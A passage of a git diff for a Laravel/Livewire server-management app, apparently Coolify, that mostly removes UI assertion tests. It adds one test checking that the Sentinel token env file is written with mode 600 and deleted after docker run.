+++ b/tests/Feature/Security/IntegrationTokenSecretProvidersTest.php
@@ -132,12 +132,6 @@ test('secret manager provider base urls only accept http and https', function (s
'vault' => ['vault', ['base_url' => 'ftp://vault.example.com']],
]);
-test('the infisical fields put the client id before the client secret', function () {
- Livewire::test(IntegrationTokenForm::class)
- ->set('provider', 'infisical')
- ->assertSeeInOrder(['Token name', 'Client ID', 'Client secret', 'Base URL']);
-});
-
test('an infisical token stores its metadata after a successful login', function () {
Http::fake([
'https://example.com/api/v1/auth/universal-auth/login' => Http::response([
diff --git a/tests/Feature/Security/PrivateKeyDropdownTest.php b/tests/Feature/Security/PrivateKeyDropdownTest.php
index 01921f7274..2f6c8b5abb 100644
--- a/tests/Feature/Security/PrivateKeyDropdownTest.php
+++ b/tests/Feature/Security/PrivateKeyDropdownTest.php
@@ -1,6 +1,5 @@
assertSee('New private key')
- ->assertSee('Generate ED25519')
- ->assertSee('Generate RSA')
- ->assertSee('Add manually')
- ->assertDontSee('Manage your SSH keys for your servers and integrations.');
-});
-
test('generating a private key from the index stores it without redirecting to a detail page', function () {
$component = Livewire::test(Index::class)
->call('generatePrivateKey', 'ed25519');
@@ -76,21 +66,6 @@ test('saving a private key from its modal editor closes the modal', function ()
expect($privateKey->fresh()->name)->toBe('Updated SSH key');
});
-test('manual private key form does not expose key generation controls', function () {
- Livewire::test(Create::class)
- ->assertDontSee('Generate new ED25519 SSH Key')
- ->assertDontSee('Generate new RSA SSH Key');
-});
-
-test('private key editor reminds users to install the public key', function () {
- $privateKey = PrivateKey::factory()->create([
- 'team_id' => $this->team->id,
- ]);
-
- Livewire::test(Show::class, ['private_key_uuid' => $privateKey->uuid])
- ->assertSee('Copy this value to ~/.ssh/authorized_keys on the target server.');
-});
-
test('private key editor lists the github app that uses the key', function () {
$privateKey = PrivateKey::factory()->create([
'team_id' => $this->team->id,
diff --git a/tests/Feature/Server/HetznerServerCreationTest.php b/tests/Feature/Server/HetznerServerCreationTest.php
index 4f02f56f33..83435e35f1 100644
--- a/tests/Feature/Server/HetznerServerCreationTest.php
+++ b/tests/Feature/Server/HetznerServerCreationTest.php
@@ -192,24 +192,6 @@ describe('Boarding Flow Integration', function () {
expect((bool) $this->team->fresh()->show_boarding)->toBeTrue();
});
- test('renders advanced Hetzner options in their own settings section', function () {
- Livewire::test(ByHetzner::class)
- ->set('current_step', 2)
- ->assertSee('Advanced options')
- ->assertSee('Provider SSH keys, networking, backups, and cloud-init.');
- });
-
- test('renders advanced Hetzner option controls in the advanced section', function () {
- Livewire::test(ByHetzner::class)
- ->set('current_step', 2)
- ->assertSee('Extra SSH keys')
- ->assertSee('Firewalls')
- ->assertSee('Private networks')
- ->assertSee('Enable Hetzner backups')
- ->assertSee('Add cloud-init script')
- ->assertSee('Adds 20% to the provider server price.');
- });
-
test('lists account SSH keys and firewalls as listbox options and shows the selection', function () {
Livewire::test(ByHetzner::class)
->set('current_step', 2)
diff --git a/tests/Feature/Server/NewServerProviderTokenUrlTest.php b/tests/Feature/Server/NewServerProviderTokenUrlTest.php
index 3ac21bcfea..0e98c17c98 100644
--- a/tests/Feature/Server/NewServerProviderTokenUrlTest.php
+++ b/tests/Feature/Server/NewServerProviderTokenUrlTest.php
@@ -157,25 +157,6 @@ test('provider token pages render api error details when a selected token is inv
'digital-ocean' => [ByDigitalOcean::class, 'digitalocean', 'digital-ocean', 'loadDigitalOceanData', 'DigitalOcean', 'Unable to authenticate you', ['id' => 'Unauthorized', 'message' => 'Unable to authenticate you']],
]);
-test('change method button on token specific provider creation pages returns to server type selection', function (string $provider, string $type) {
- $token = CloudProviderToken::factory()->create([
- 'team_id' => $this->team->id,
- 'provider' => $provider,
- ]);
-
- Livewire::test(CreatePage::class, [
- 'type' => $type,
- 'token_uuid' => $token->uuid,
- ])
- ->assertSee('Change method')
- ->assertSee('href="'.route('server.create').'"', false)
- ->assertDontSee('>Back<', false);
-})->with([
- 'hetzner' => ['hetzner', 'hetzner'],
- 'vultr' => ['vultr', 'vultr'],
- 'digital-ocean' => ['digitalocean', 'digital-ocean'],
-]);
-
test('provider token picker is hidden on token specific provider creation pages', function (string $provider, string $type) {
$token = CloudProviderToken::factory()->create([
'team_id' => $this->team->id,
diff --git a/tests/Feature/Server/StartSentinelTokenFileTest.php b/tests/Feature/Server/StartSentinelTokenFileTest.php
new file mode 100644
index 0000000000..32ed90a287
--- /dev/null
+++ b/tests/Feature/Server/StartSentinelTokenFileTest.php
@@ -0,0 +1,97 @@
+ 0]);
+ config(['constants.ssh.mux_enabled' => false]);
+
+ $this->remoteBatches = [];
+ Process::fake(function (PendingProcess $process) {
+ $this->remoteBatches[] = (string) $process->input;
+
+ return Process::result(output: '');
+ });
+
+ $team = Team::factory()->create();
+ $this->server = Server::factory()->create([
+ 'team_id' => $team->id,
+ 'private_key_id' => PrivateKey::factory()->create(['team_id' => $team->id])->id,
+ ]);
+ $this->server->settings->update(['sentinel_custom_url' => 'https://coolify.example.com']);
+
+ $this->workDirectory = sys_get_temp_dir().'/sentinel-token-'.bin2hex(random_bytes(6));
+ File::ensureDirectoryExists($this->workDirectory.'/bin');
+});
+
+afterEach(function () {
+ File::deleteDirectory($this->workDirectory);
+});
+
+/**
+ * The `sh -ec '...'` command that StartSentinel sends to the server. It spans several lines,
+ * and the next command of the batch is the chown of the Sentinel directory.
+ */
+function sentinelTokenFileScript(array $remoteBatches): string
+{
+ $batch = collect($remoteBatches)->first(fn (string $input): bool => str_contains($input, 'docker run -d'));
+ expect($batch)->not->toBeNull();
+ preg_match('/^sh -ec \'.*?(?=\nchown -R 9999:root )/ms', $batch, $match);
+ expect($match)->toHaveCount(1);
+
+ return $match[0];
+}
+
+it('removes the env file with the Sentinel token after docker run succeeds or fails', function (int $dockerExitCode) {
+ StartSentinel::run($this->server, latestVersion: '1.0.1');
+
+ $envFile = $this->workDirectory.'/sentinel.env';
+ $script = str_replace('/data/coolify/sentinel.env', $envFile, sentinelTokenFileScript($this->remoteBatches));
+
+ // A fake docker binary records the env file that `docker run --env-file` gets, and its mode.
+ file_put_contents($this->workDirectory.'/bin/docker', <<<'SH'
+ #!/bin/sh
+ while [ $# -gt 0 ]; do
+ if [ "$1" = "--env-file" ]; then
+ cat "$2" > "$CAPTURE"
+ stat -c %a "$2" > "$CAPTURE.mode"
+ fi
+ shift
+ done
+ exit "$DOCKER_EXIT"
+ SH);
+ chmod($this->workDirectory.'/bin/docker', 0755);
+
+ $capture = $this->workDirectory.'/captured.env';
+ $process = new SymfonyProcess(['bash', '-c', $script], $this->workDirectory, [
+ 'PATH' => $this->workDirectory.'/bin:'.getenv('PATH'),
+ 'CAPTURE' => $capture,
+ 'DOCKER_EXIT' => (string) $dockerExitCode,
+ ]);
+ $process->run();
+
+ $token = $this->server->settings->fresh()->sentinel_token;
+
+ expect($process->getExitCode())->toBe($dockerExitCode)
+ ->and(file_get_contents($capture))->toContain("TOKEN={$token}\n")
+ ->and(trim(file_get_contents($capture.'.mode')))->toBe('600')
+ ->and(file_exists($envFile))->toBeFalse();
+})->with([
+ 'docker run succeeds' => [0],
+ 'docker run fails' => [1],
+]);
diff --git a/tests/Feature/ServerMetadataTest.php b/tests/Feature/ServerMetadataTest.php
index 520f28f7ed..8e0a30db3c 100644
--- a/tests/Feature/ServerMetadataTest.php
+++ b/tests/Feature/ServerMetadataTest.php
@@ -57,34 +57,6 @@ it('stores null server_metadata by default', function () {
expect($this->server->server_metadata)->toBeNull();
});
-it('includes server_metadata in fillable', function () {
- $this->server->fill(['server_metadata' => ['os' => 'Test']]);
-
- expect($this->server->server_metadata)->toBe(['os' => 'Test']);
-});
-
-it('persists and retrieves full server metadata structure', function () {
- $metadata = [
- 'os' => 'Debian GNU/Linux 12 (bookworm)',
- 'arch' => 'aarch64',
- 'kernel' => '6.1.0-17-arm64',
- 'cpus' => 8,
- 'memory_bytes' => 17179869184,
- 'uptime_since' => '2024-03-01 08:00:00',
- 'collected_at' => '2024-03-10T12:00:00+00:00',
- ];
-
- $this->server->update(['server_metadata' => $metadata]);
- $this->server->refresh();
-
- expect($this->server->server_metadata)
- ->toHaveKeys(['os', 'arch', 'kernel', 'cpus', 'memory_bytes', 'uptime_since', 'collected_at'])
- ->and($this->server->server_metadata['os'])->toBe('Debian GNU/Linux 12 (bookworm)')
- ->and($this->server->server_metadata['arch'])->toBe('aarch64')
- ->and($this->server->server_metadata['cpus'])->toBe(8)
- ->and(round($this->server->server_metadata['memory_bytes'] / 1073741824, 1))->toBe(16.0);
-});
-
it('returns null from gatherServerMetadata when server is not functional', function () {
$this->server->settings->update([
'is_reachable' => false,
@@ -179,19 +151,6 @@ it('shows the stored docker version in remote server details', function () {
->assertSee('2.29.7');
});
-it('can overwrite server_metadata with new values', function () {
- $this->server->update(['server_metadata' => ['os' => 'Ubuntu 20.04', 'cpus' => 2]]);
- $this->server->refresh();
-
- expect($this->server->server_metadata['os'])->toBe('Ubuntu 20.04');
-
- $this->server->update(['server_metadata' => ['os' => 'Ubuntu 22.04', 'cpus' => 4]]);
- $this->server->refresh();
-
- expect($this->server->server_metadata['os'])->toBe('Ubuntu 22.04')
- ->and($this->server->server_metadata['cpus'])->toBe(4);
-});
-
it('calls gatherServerMetadata during ValidateAndInstall when docker version is valid', function () {
Queue::fake();
diff --git a/tests/Feature/ServerPrivateKeyDropdownTest.php b/tests/Feature/ServerPrivateKeyDropdownTest.php
index 8c3da60795..8934fe8b2c 100644
--- a/tests/Feature/ServerPrivateKeyDropdownTest.php
+++ b/tests/Feature/ServerPrivateKeyDropdownTest.php
@@ -45,15 +45,6 @@ beforeEach(function () {
]);
});
-test('server private key page shows highlighted add dropdown actions', function () {
- Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])
- ->assertSee('Add')
- ->assertSee('Generate ED25519')
- ->assertSee('Generate RSA')
- ->assertSee('Add manually')
- ->assertSee('Check connection');
-});
-
test('generating a server private key stores it and refreshes the current view', function () {
$component = Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])
->call('generatePrivateKey', 'ed25519')
diff --git a/tests/Feature/ServerResourcesPaginationTest.php b/tests/Feature/ServerResourcesPaginationTest.php
index 92227ff2f3..be342c67fc 100644
--- a/tests/Feature/ServerResourcesPaginationTest.php
+++ b/tests/Feature/ServerResourcesPaginationTest.php
@@ -76,13 +76,6 @@ it('clamps stale pages after resources disappear including an empty list', funct
->and($page->total())->toBe($count);
})->with([[12, 2], [0, 1]]);
-it('keys resource rows on both tabs by stable row identities', function () {
- $view = file_get_contents(resource_path('views/livewire/server/resources.blade.php'));
- expect($view)
- ->toContain('wire:key="managed-')
- ->toContain('wire:key="unmanaged-');
-});
-
it('searches names across all pages before pagination on both tabs', function (string $tab, string $nameKey) {
$rows = collect(range(1, 25))->map(fn (int $id) => [$nameKey => "Resource $id"]);
$this->component->activeTab = $tab;
diff --git a/tests/Feature/ServerResourcesSortTest.php b/tests/Feature/ServerResourcesSortTest.php
index 8879c77527..580d8d7cce 100644
--- a/tests/Feature/ServerResourcesSortTest.php
+++ b/tests/Feature/ServerResourcesSortTest.php
@@ -88,10 +88,3 @@ it('ignores unknown sort values and resets the page on a valid sort', function (
expect($this->component->sort)->toBe('status_desc')
->and($this->component->getPage())->toBe(1);
});
-
-it('renders livewire sort headers for both tabs', function () {
- $view = file_get_contents(resource_path('views/livewire/server/resources.blade.php'));
- foreach (['name', 'project', 'environment', 'type', 'status', 'image'] as $column) {
- expect($view)->toContain("asc=\"{$column}_asc\" desc=\"{$column}_desc\" action=\"setSort\"");
- }
-});
diff --git a/tests/Feature/Service/ServiceConversionConfirmationTest.php b/tests/Feature/Service/ServiceConversionConfirmationTest.php
deleted file mode 100644
index 6a6674f9ee..0000000000
--- a/tests/Feature/Service/ServiceConversionConfirmationTest.php
+++ /dev/null
@@ -1,57 +0,0 @@
-withoutVite();
- config()->set('app.maintenance.store', 'array');
- InstanceSettings::forceCreate(['id' => 0]);
-
- $team = Team::factory()->create();
- $user = User::factory()->create();
- $team->members()->attach($user, ['role' => 'owner']);
- $this->actingAs($user);
- session(['currentTeam' => $team]);
-
- $server = Server::factory()->create(['team_id' => $team->id]);
- $destination = StandaloneDocker::where('server_id', $server->id)->firstOrFail();
- $project = Project::factory()->create(['team_id' => $team->id]);
- $environment = Environment::factory()->create(['project_id' => $project->id]);
- $this->service = Service::factory()->create([
- 'environment_id' => $environment->id,
- 'server_id' => $server->id,
- 'destination_id' => $destination->id,
- 'destination_type' => $destination->getMorphClass(),
- ]);
-});
-
-it('runs the conversion only from the confirmation modal, not on the first click', function (string $model, string $action) {
- $part = $model::create([
- 'uuid' => (string) Str::uuid(),
- 'name' => 'part',
- 'service_id' => $this->service->id,
- 'image' => 'postgres:17',
- ]);
-
- Livewire::test(Index::class, ['serviceApplication' => $part, 'embedded' => true])
- ->assertSeeHtml("submitAction: '{$action}'")
- ->assertDontSeeHtml("wire:click=\"{$action}\"");
-})->with([
- 'application to database' => [ServiceApplication::class, 'convertToDatabase'],
- 'database to application' => [ServiceDatabase::class, 'convertToApplication'],
-]);
diff --git a/tests/Feature/ServiceDatabaseVerticalNavigationTest.php b/tests/Feature/ServiceDatabaseVerticalNavigationTest.php
deleted file mode 100644
index 2c18dcf2ad..0000000000
--- a/tests/Feature/ServiceDatabaseVerticalNavigationTest.php
+++ /dev/null
@@ -1,20 +0,0 @@
-toContain('teamChannelListeners([')
- ->toContain("'BackupCreated' => '\$refresh'")
- ->and($serviceBackups)
- ->toContain('teamChannelListeners([')
- ->toContain("'BackupCreated' => '\$refresh'")
- ->and($databaseExecutions)
- ->toContain("'BackupCreated' => 'refreshBackupExecutions'")
- ->not->toContain('$userId = Auth::id()')
- ->and(strpos($databaseBackupJob, "'finished_at' => Carbon::now()->toImmutable()"))
- ->toBeLessThan(strrpos($databaseBackupJob, 'BackupCreated::dispatch($this->team->id)'));
-});
diff --git a/tests/Feature/ServiceDomainsTest.php b/tests/Feature/ServiceDomainsTest.php
index a3addc19e0..15a900b879 100644
--- a/tests/Feature/ServiceDomainsTest.php
+++ b/tests/Feature/ServiceDomainsTest.php
@@ -338,13 +338,6 @@ it('does not add a single-label hostname as a service domain', function () {
expect($this->apiApp->fresh()->fqdn)->toBeNull();
});
-it('shows dns entries control next to Add', function () {
- Livewire::test(Domains::class, ['service' => $this->service->fresh(['applications', 'server'])])
- ->assertSuccessful()
- ->assertSee('DNS checks and records for this server')
- ->assertSee('Manual records');
-});
-
it('lists dns entries for service hosts that still need dns', function () {
$this->webApp->update([
'fqdn' => 'https://web.example.com',
@@ -504,15 +497,6 @@ it('adds a domain when the compose service has an empty environment section', fu
expect($this->webApp->fresh()->fqdn)->toBe('https://web.example.com');
});
-it('keeps a stable key for the rendered domain list', function () {
- $view = file_get_contents(resource_path('views/livewire/project/service/domains.blade.php'));
-
- expect($view)
- ->toContain('wire:key="service-domains-list"')
- ->toContain('wire:key="service-domain-rows-{{ $appId }}"')
- ->not->toContain('md5(serialize($domainRows))');
-});
-
it('rolls back a domain change when compose regeneration fails', function () {
$this->service->update(['docker_compose_raw' => '']);
diff --git a/tests/Feature/ServiceEnvironmentFileTest.php b/tests/Feature/ServiceEnvironmentFileTest.php
index 60946bda97..1e1e84b36f 100644
--- a/tests/Feature/ServiceEnvironmentFileTest.php
+++ b/tests/Feature/ServiceEnvironmentFileTest.php
@@ -124,9 +124,3 @@ test('empty service values stay empty', function () {
expect($line)->toBe('EMPTY=');
});
-
-test('saveComposeConfigs writes compose env file lines', function () {
- $source = file_get_contents(__DIR__.'/../../app/Models/Service.php');
-
- expect($source)->toContain('$envs->push($this->composeEnvironmentFileLine($env));');
-});
diff --git a/tests/Feature/ServiceResourceSettingsPageTest.php b/tests/Feature/ServiceResourceSettingsPageTest.php
index cd419bfed7..73c5985b82 100644
--- a/tests/Feature/ServiceResourceSettingsPageTest.php
+++ b/tests/Feature/ServiceResourceSettingsPageTest.php
@@ -1,7 +1,5 @@
$this->service,
- 'resource' => $this->application,
- 'parameters' => $this->parameters,
- ])
- ->assertSee('Resource settings')
- ->assertDontSee(route('project.service.index', [
- ...$this->parameters,
- 'stack_service_uuid' => $this->application->uuid,
- ]), false);
-
- Livewire::test(Index::class, [
- 'serviceApplication' => $this->application,
- 'embedded' => true,
- ])
- ->set('requiredPort', 80)
- ->assertSee('Save changes')
- ->assertDontSee('Required Port: 80')
- ->assertSeeHtml('data-domain-summary')
- ->assertSeeHtml('data-service-resource-actions')
- ->assertSeeInOrder(['Delete', 'Convert to Database', 'Save changes'])
- ->assertDontSeeHtml('General
')
- ->assertDontSeeHtml('Advanced
')
- ->assertDontSee("You have changes that haven't been saved yet.");
-});
-
-it('shows database general and advanced settings in a resource card modal', function () {
- Livewire::test(ResourceCard::class, [
- 'service' => $this->service,
- 'resource' => $this->database,
- 'parameters' => $this->parameters,
- ])
- ->assertSee('Resource settings')
- ->assertSeeLivewire(Index::class)
- ->assertDontSee(route('project.service.index', [
- ...$this->parameters,
- 'stack_service_uuid' => $this->database->uuid,
- ]), false);
-
- Livewire::test(Index::class, [
- 'serviceApplication' => $this->database,
- 'embedded' => true,
- ])
- ->assertSee('Public access')
- ->assertSee('Log drain')
- ->assertSee('Save changes')
- ->assertSeeHtml('data-service-resource-actions')
- ->assertSeeInOrder(['Delete', 'Convert to Application', 'Save changes'])
- ->assertDontSeeHtml('General
')
- ->assertDontSeeHtml('Advanced
')
- ->assertDontSee("You have changes that haven't been saved yet.");
-});
-
it('redirects old resource settings links to the service configuration page', function (string $routeName, string $resourceUuid) {
$this->get(route($routeName, [
...$this->parameters,
diff --git a/tests/Feature/SettingsOauthTest.php b/tests/Feature/SettingsOauthTest.php
index 4f8aee3e09..9cdd6110d6 100644
--- a/tests/Feature/SettingsOauthTest.php
+++ b/tests/Feature/SettingsOauthTest.php
@@ -78,28 +78,6 @@ it('auto saves registration policy', function () {
expect(instanceSettings()->fresh()->disable_registration_when_oauth_enabled)->toBeTrue();
});
-it('shows oidc fields with a naked okta issuer url example', function () {
- actingAsInstanceAdmin();
-
- $this->withoutMiddleware(DecideWhatToDoWithUser::class)
- ->get(route('settings.oauth'))
- ->assertSuccessful()
- ->assertSee('OpenID Connect')
- ->assertSee('https://example.okta.com', false)
- ->assertDontSee('/oauth2/default', false);
-});
-
-it('shows oidc option checkboxes', function () {
- actingAsInstanceAdmin();
-
- $this->withoutMiddleware(DecideWhatToDoWithUser::class)
- ->get(route('settings.oauth'))
- ->assertSuccessful()
- ->assertSee('Allow OIDC user creation')
- ->assertSee('Require verified email')
- ->assertSee('Use PKCE');
-});
-
it('does not show unknown oauth providers', function () {
actingAsInstanceAdmin();
diff --git a/tests/Feature/StableNestedLivewireKeysTest.php b/tests/Feature/StableNestedLivewireKeysTest.php
deleted file mode 100644
index 4c3a63a0d4..0000000000
--- a/tests/Feature/StableNestedLivewireKeysTest.php
+++ /dev/null
@@ -1,47 +0,0 @@
-toContain(':wire:key="\'init-script-\'.md5($script[\'filename\'])"')
- ->not->toContain(':wire:key="$script[\'index\']"');
-
- expect($proxyView)
- ->toContain('wire:key="proxy-navbar-{{ $fileName }}"')
- ->not->toContain('wire:key="{{ $fileName }}-{{ $loop->index }}"');
-});
-
-it('keeps editable and refreshed list row keys independent of their positions', function () {
- $applicationDomains = file_get_contents(resource_path('views/livewire/project/application/partials/domain-row.blade.php'));
- $serviceDomains = file_get_contents(resource_path('views/livewire/project/service/partials/domain-table.blade.php'));
-
- expect($applicationDomains)
- ->not->toContain('wire:key="domain-row-{{ $index }}-')
- ->toContain('wire:key="domain-row-{{ md5(');
-
- expect($serviceDomains)
- ->not->toContain('-{{ $index }}-')
- ->toContain('wire:key="svc-domain-{{ $row[\'service_application_id\'] ?? \'x\' }}-{{ md5(');
-});
-
-it('keys nested Livewire status components rendered inside navigation loops', function () {
- $sidebar = file_get_contents(resource_path('views/components/application/configuration-sidebar.blade.php'));
-
- expect($sidebar)
- ->toContain(':key="$placement.\'-application-server-status-\'.$application->uuid"');
-});
-
-it('keys virtual log rows by stable line identity instead of list position', function () {
- $view = file_get_contents(resource_path('views/livewire/project/shared/get-logs.blade.php'));
- $script = file_get_contents(resource_path('js/runtime-logs.js'));
-
- expect($view)
- ->toContain(':key="row.key"')
- ->not->toContain(':key="row.index"');
-
- expect($script)
- ->toContain('getItemKey: (index) => filtered[index]?.id ?? index')
- ->toContain('id: nextId()');
-});
diff --git a/tests/Feature/Subscription/SubscriptionPricingPageTest.php b/tests/Feature/Subscription/SubscriptionPricingPageTest.php
index 809c952ec3..84b9fe1f99 100644
--- a/tests/Feature/Subscription/SubscriptionPricingPageTest.php
+++ b/tests/Feature/Subscription/SubscriptionPricingPageTest.php
@@ -54,14 +54,6 @@ test('subscription pricing page still renders when provider config is missing',
->assertSee('Subscribe monthly');
});
-test('pricing plans component renders subscribe actions', function () {
- Livewire::test(PricingPlans::class)
- ->assertSuccessful()
- ->assertSee('Pay as you go')
- ->assertSee('Subscribe monthly')
- ->assertSee('Subscribe yearly');
-});
-
test('unsubscribed cloud sidebar does not expose global search', function () {
$response = $this->get(route('subscription.index'));
diff --git a/tests/Feature/TeamMemberTwoFactorStatusTest.php b/tests/Feature/TeamMemberTwoFactorStatusTest.php
index 59c68c64e1..2a082ca70d 100644
--- a/tests/Feature/TeamMemberTwoFactorStatusTest.php
+++ b/tests/Feature/TeamMemberTwoFactorStatusTest.php
@@ -107,8 +107,6 @@ test('admins see the two factor status of every role, including owners and other
'owner without two factor' => ['owner', false, 'Two-factor authentication is disabled'],
'another admin with two factor' => ['admin', true, 'Two-factor authentication is enabled'],
'another admin without two factor' => ['admin', false, 'Two-factor authentication is disabled'],
- 'member with two factor' => ['member', true, 'Two-factor authentication is enabled'],
- 'member without two factor' => ['member', false, 'Two-factor authentication is disabled'],
]);
test('admins see the two factor status on their own row', function () {
@@ -121,17 +119,6 @@ test('admins see the two factor status on their own row', function () {
->assertSee('Two-factor authentication is enabled');
});
-test('the summary counts the members that are missing two factor authentication', function () {
- $admin = createTeamMember($this->team, 'admin', twoFactorEnabled: true);
- createTeamMember($this->team, 'member');
-
- actAsTeamMember($admin, $this->team);
-
- Livewire::test(Index::class)
- ->assertSee('1 of 2')
- ->assertSee('does not have two-factor authentication enabled');
-});
-
test('the summary confirms when every member has two factor authentication', function () {
$admin = createTeamMember($this->team, 'admin', twoFactorEnabled: true);
createTeamMember($this->team, 'member', twoFactorEnabled: true);
diff --git a/tests/Feature/TeamScopedDestinationTest.php b/tests/Feature/TeamScopedDestinationTest.php
index fdb56c1f18..a8f4496596 100644
--- a/tests/Feature/TeamScopedDestinationTest.php
+++ b/tests/Feature/TeamScopedDestinationTest.php
@@ -334,14 +334,6 @@ describe('Destination/Show team scope', function () {
$component->assertRedirect(route('destination.index'));
});
- test('general page links to separate resources page without rendering the resources table', function () {
- Livewire::test(DestinationShow::class, ['destination_uuid' => $this->destinationA->uuid])
- ->assertSee('General')
- ->assertSee('Resources')
- ->assertDontSeeHtml('placeholder="Search resources"')
- ->assertDontSee('No resources use this destination');
- });
-
test('mount with own standalone destination lists deployed resources', function () {
Application::factory()->create([
'name' => 'application-on-destination',
diff --git a/tests/Feature/TerminalConsoleModeTest.php b/tests/Feature/TerminalConsoleModeTest.php
index 85ec73ea77..b329485e1c 100644
--- a/tests/Feature/TerminalConsoleModeTest.php
+++ b/tests/Feature/TerminalConsoleModeTest.php
@@ -59,98 +59,3 @@ it('never selects console mode when attach is unavailable even if requested', fu
expect($terminal->resolveMode('attach'))->toBe('shell');
});
-
-it('renders a line-oriented command box for console mode instead of a raw terminal', function () {
- $view = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php'));
-
- expect($view)
- ->toContain('terminal-console-input')
- ->toContain('submitConsoleCommand()')
- ->toContain('x-ref="consoleInput"')
- // The mobile control toolbar (which can send Ctrl-C) is hidden in console mode.
- ->toContain("terminalActive && \$wire.terminalMode !== 'attach'")
- // The earlier guardrail UI is gone in favour of the command box.
- ->not->toContain('detachTerminal()')
- ->not->toContain('Ctrl-C can stop the app');
-});
-
-it('keeps the console terminal read-only and sends whole command lines', function () {
- $client = file_get_contents(resource_path('js/terminal.js'));
-
- expect($client)
- ->toContain('isConsoleMode()')
- // Keystrokes are not forwarded while attached; commands carry a trailing newline.
- ->toContain('message: `${command}\n`')
- ->toContain('this.term.options.disableStdin = consoleMode');
-});
-
-it('places the shell/console selector beside the theme selector using shared styling', function () {
- $selector = file_get_contents(resource_path('views/components/terminal/mode-selector.blade.php'));
-
- expect($selector)
- // Reuses the shared trigger + menu styling from the theme/renderer selectors.
- ->toContain('terminal-theme-trigger')
- ->toContain('console-theme-selector')
- // Only shown when the container is interactive; drives the parent Alpine state.
- ->toContain('x-show="attachAvailable"')
- ->toContain('setTerminalMode(')
- ->toContain("'key' => 'shell'")
- ->toContain("'key' => 'attach'");
-
- foreach (['project/shared/execute-container-command', 'terminal/index'] as $view) {
- $blade = file_get_contents(resource_path("views/livewire/{$view}.blade.php"));
-
- expect($blade)
- // Grouped with the theme selector so extra header options do not break the layout.
- ->toContain('')
- ->toContain('')
- ->toContain('terminal-mode-updated.window')
- ->toContain("Livewire.dispatch('set-terminal-mode', { mode });");
- }
-});
-
-it('lets the header selector switch modes through a livewire listener', function () {
- $component = file_get_contents(app_path('Livewire/Project/Shared/Terminal.php'));
-
- expect($component)->toContain("#[On('set-terminal-mode')]");
-});
-
-it('prefixes sudo for non-root servers when probing container capabilities', function () {
- $component = file_get_contents(app_path('Livewire/Project/Shared/Terminal.php'));
-
- expect($component)
- // Both the shell probe and the OpenStdin inspection must reach the Docker socket.
- ->toContain('{$sudo}docker exec {$escapedContainer} bash')
- ->toContain("{\$sudo}docker inspect --format '{{.Config.OpenStdin}}'");
-});
-
-it('hides the shell option and shell-unavailable notice when no shell exists', function () {
- $selector = file_get_contents(resource_path('views/components/terminal/mode-selector.blade.php'));
- $terminal = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php'));
-
- expect($selector)
- // Shell (docker exec) needs a shell in the image, so hide it when there is none.
- ->toContain('x-show="hasShell"');
-
- expect($terminal)
- // Attach mode does not need a shell, so only warn while shell mode is active.
- ->toContain("!\$hasShell && \$terminalMode === 'shell'");
-
- foreach (['project/shared/execute-container-command', 'terminal/index'] as $view) {
- $blade = file_get_contents(resource_path("views/livewire/{$view}.blade.php"));
-
- expect($blade)
- // The parent Alpine state tracks shell availability for the selector.
- ->toContain('hasShell = $event.detail.hasShell')
- ->toContain("mode === 'shell' && !this.hasShell");
- }
-});
-
-it('keeps console history connection-local', function () {
- $client = file_get_contents(resource_path('js/terminal.js'));
-
- expect($client)
- ->not->toContain('localStorage.setItem(key, JSON.stringify(this.consoleHistory))')
- // The mode-updated event carries shell availability to the header selector.
- ->toContain('hasShell: this.$wire?.hasShell ?? true');
-});
diff --git a/tests/Feature/TerminalPageHeaderTest.php b/tests/Feature/TerminalPageHeaderTest.php
deleted file mode 100644
index d53141ba62..0000000000
--- a/tests/Feature/TerminalPageHeaderTest.php
+++ /dev/null
@@ -1,9 +0,0 @@
-toContain('wire:key="terminal-target-canvas"')
- ->toContain('wire:key="terminal-session-canvas"');
-});
diff --git a/tests/Feature/TraefikVersionStateTest.php b/tests/Feature/TraefikVersionStateTest.php
index 955dbf6c8a..f67973b4a9 100644
--- a/tests/Feature/TraefikVersionStateTest.php
+++ b/tests/Feature/TraefikVersionStateTest.php
@@ -211,11 +211,19 @@ YAML,
it('preserves a newer Traefik warning stored after the warning was inspected', function () {
$team = Team::factory()->create();
+ $user = User::factory()->create();
+ $team->members()->attach($user->id, ['role' => 'owner']);
+ $this->actingAs($user);
$server = Server::factory()->create([
'team_id' => $team->id,
'proxy' => [
'type' => ProxyTypes::TRAEFIK->value,
'status' => 'running',
+ 'last_saved_proxy_configuration' => <<<'YAML'
+services:
+ traefik:
+ image: traefik:v3.7
+YAML,
],
'detected_traefik_version' => '3.6.23',
'traefik_outdated_info' => [
@@ -228,7 +236,7 @@ it('preserves a newer Traefik warning stored after the warning was inspected', f
$component = new Proxy;
$component->server = $server;
- $component->proxySettings = 'services:'.PHP_EOL.' traefik:'.PHP_EOL.' image: traefik:v3.7';
+ $component->mount();
$newerWarning = [
'current' => '3.7.8',
@@ -238,10 +246,10 @@ it('preserves a newer Traefik warning stored after the warning was inspected', f
];
Server::query()->whereKey($server->id)->update(['traefik_outdated_info' => $newerWarning]);
- $method = new ReflectionMethod($component, 'clearAppliedTraefikBranchWarning');
- $method->invoke($component);
+ $component->loadProxyConfiguration();
- expect($server->refresh()->traefik_outdated_info)->toBe($newerWarning);
+ expect($component->server->traefik_outdated_info['upgrade_target'])->toBe('v3.7')
+ ->and($server->refresh()->traefik_outdated_info)->toBe($newerWarning);
});
it('does not mark stale Traefik outdated information as a current warning', function () {
@@ -274,29 +282,6 @@ it('marks matching Traefik outdated information as a current warning', function
expect($server->hasCurrentTraefikOutdatedInfo())->toBeTrue();
});
-it('clears stale Traefik version state before detecting the current version', function () {
- $team = Team::factory()->create();
- $server = Server::factory()->create([
- 'team_id' => $team->id,
- 'detected_traefik_version' => '3.6.23',
- 'traefik_outdated_info' => [
- 'current' => '3.6.23',
- 'latest' => '3.7.8',
- 'type' => 'minor_upgrade',
- 'upgrade_target' => 'v3.7',
- ],
- ]);
-
- $job = new CheckTraefikVersionForServerJob($server, ['v3.7' => '3.7.8']);
- $method = new ReflectionMethod($job, 'clearOutdatedInfo');
- $method->invoke($job);
-
- $server->refresh();
-
- expect($server->detected_traefik_version)->toBeNull()
- ->and($server->traefik_outdated_info)->toBeNull();
-});
-
it('clears Traefik version state when the proxy changes', function () {
$team = Team::factory()->create();
$server = Server::factory()->create([
